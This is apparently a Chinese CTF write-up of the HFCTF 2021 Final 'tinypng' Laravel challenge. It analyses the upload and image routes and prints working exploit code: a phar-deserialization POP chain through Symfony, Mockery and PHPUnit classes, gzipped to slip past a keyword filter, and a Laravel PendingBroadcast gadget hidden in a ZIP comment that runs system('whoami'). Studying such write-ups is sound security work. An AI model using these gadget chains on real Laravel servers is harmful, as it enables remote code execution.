虎符2021线下 tinypng

Posted on 2021-04-27,4 min read

复现环境:https://buuoj.cn/challenges#[HFCTF%202021%20Final]tinypng

查看源码。发现是laravel框架
先去看看路由routers/api.php routers/web.php
api下有个user路由貌似没啥用,继续看路由

Route::post('/', [IndexController::class, 'fileUpload'])->name('file.upload.post');

//Don't expose the /image to others!
Route::get('/image', [ImageController::class, 'handle'])->name('image.handle');

index路由指向IndexController的fileUpload方法
image路由指向ImageController的handle方法

首先看下index

这里大致意思就是上传文件。内容不能有<?| php|HALT_COMPILER。并且后缀得是png。然后会给你一个文件名。大致了解了。再继续看ImageController


这里接受了一个参数image然后explode取后缀。必须为png。接着。把这个$source传入到了imgcompress类。

    public function __construct($src, $percent = 1)
    {
        $this->src = $src;
        $this->percent = $percent;
    }

此时。$this->src就等于我们传入的$source。只是后缀不可控。继续看。传入后。又继续调用了compressImg方法。进入

    public function compressImg($saveName)
    {

        $this->_openImage();
        $this->_saveImage($saveName);
    }

再跟进_openImage()方法

   private function _openImage()
    {
        list($width, $height, $type, $attr) = getimagesize($this->src);
        $this->imageinfo = array(
            'width' => $width,
            'height' => $height,
            'type' => image_type_to_extension($type, false),
            'attr' => $attr
        );
        $fun = "imagecreatefrom" . $this->imageinfo['type'];

        $this->image = $fun($this->src);
        $this->_thumpImage();
    }

getimagesize($this->src)这。不多说了。$this->src可控。直接phar一把梭。但是前面上传文件的内容又不能有那些关键字。咋办呢。

这里19年的D3CTF就考到过https://blog.csdn.net/a3320315/article/details/104423207
这个绕过姿势。。。线下的时候没有一个队想起来(又或许是大佬们都做PK去了。不纠结于AWDP。毕竟一题PK顶一天的AWDP)。只有L3H现场挖了一个新姿势。。过段时间会写。。

EXP:

<?php
namespace Symfony\Component\Routing\Loader\Configurator{
	class ImportConfigurator{
		private $parent;
		private $route;
		public function __construct($class){
			$this->parent=$class;
			$this->route='test';
		}
	}
}

namespace Mockery{
	class HigherOrderMessage{
		private $mock;
		private $method;
		public function __construct($class){
			$this->mock=$class;
			$this->method='generate';
		}
	}
}

namespace PHPUnit\Framework\MockObject{
	final class MockTrait{
		private $mockName;
		private $classCode;
		public function __construct(){
			$this->mockName='123';
			$this->classCode='phpinfo();';
		}
	}
}

namespace{
	use \Symfony\Component\Routing\Loader\Configurator\ImportConfigurator;
	use \Mockery\HigherOrderMessage;
	use \PHPUnit\Framework\MockObject\MockTrait;
	$c=new MockTrait();
	$b=new HigherOrderMessage($c);
	$a=new ImportConfigurator($b);
	@unlink("phar.phar");
	$phar=new Phar("phar.phar");
	$phar->startBuffering(); 
	$phar->setStub('GIF89a'."__HALT_COMPILER();"); 
	$phar->setMetadata($a); 
	$phar->addFromString("test.txt", "test");
	$phar->stopBuffering();
}

?>

生成phar后 gzip phar.phar 。产生一个phar.phar.gz
上传拿到文件名。然后image路由传phar://../storage/app/uploads/xxxxxxxxxxx.png完事了

这是最简单的办法。还有通过ZIP注释反序列的。我简单放下EXP。这种方法。。得找一个类中不带关键字的

<?php
$a=base64_decode('Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7Uzo5OiJcMDAqXDAwZXZlbnRzIjtPOjMxOiJJbGx1bWluYXRlXFZhbGlkYXRpb25cVmFsaWRhdG9yIjoxOntzOjEwOiJleHRlbnNpb25zIjthOjE6e3M6MDoiIjtzOjY6InN5c3RlbSI7fX1TOjg6IlwwMCpcMDBldmVudCI7czo2OiJ3aG9hbWkiO30=');
$zip = new ZipArchive;
$res = $zip->open('test.zip', ZipArchive::CREATE);
$zip->addFromString('test.txt', 'file content goes here');
$zip->setArchiveComment($a);
$zip->close();

替换效果如下。\00是我生成序列化类的时候替换的。。正常应该是00不可见字符串

O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{s:9:"\00*\00events";O:31:"Illuminate\Validation\Validator":1:{s:10:"extensions";a:1:{s:0:"";s:6:"system";}}s:8:"\00*\00event";s:6:"whoami";}

O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{S:9:"\00*\00events";O:31:"Illuminate\Validation\Validator":1:{s:10:"extensions";a:1:{s:0:"";s:6:"system";}}S:8:"\00*\00event";s:6:"whoami";}

下一篇: 红明谷数据安全大赛线下赛Discuz题解→